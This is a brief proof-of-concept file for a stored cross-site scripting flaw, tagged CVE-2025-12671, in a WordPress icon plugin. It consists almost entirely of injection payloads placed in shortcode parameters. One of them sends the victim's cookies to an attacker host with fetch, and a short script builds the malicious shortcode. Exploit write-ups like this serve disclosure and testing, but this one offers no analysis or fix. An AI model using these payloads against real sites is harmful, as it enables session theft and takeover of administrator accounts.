CVE-2025-12671

<!-- WordPress WP-Iconics Plugin Stored XSS PoC --> <!-- Requires Contributor-level access or higher --> <!-- Basic XSS Payload via icon parameter --> [wp_iconics icon='" onload="alert(document.cookie)" x="'] <!-- XSS via multiple parameters --> [wp_iconics icon='test' color='" style="animation-name:rotation onanimationstart=alert(document.domain)//' size='100px'] <!-- Steal admin cookies (requires URL encoding in real attack) --> [wp_iconics icon='" src=x onerror=fetch(`https://attacker.com/steal?c=`+document.cookie)>'] <!-- Automated exploitation script --> <script> // Simulated attack payload for CVE-2025-12671 const xssPayload = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'; const targetUrl = '/wp-admin/post.php'; // Construct malicious shortcode const maliciousShortcode = `[wp_iconics icon='${xssPayload}']`; console.log('XSS Payload:', maliciousShortcode); console.log('This payload will be stored and executed when page is viewed'); </script>

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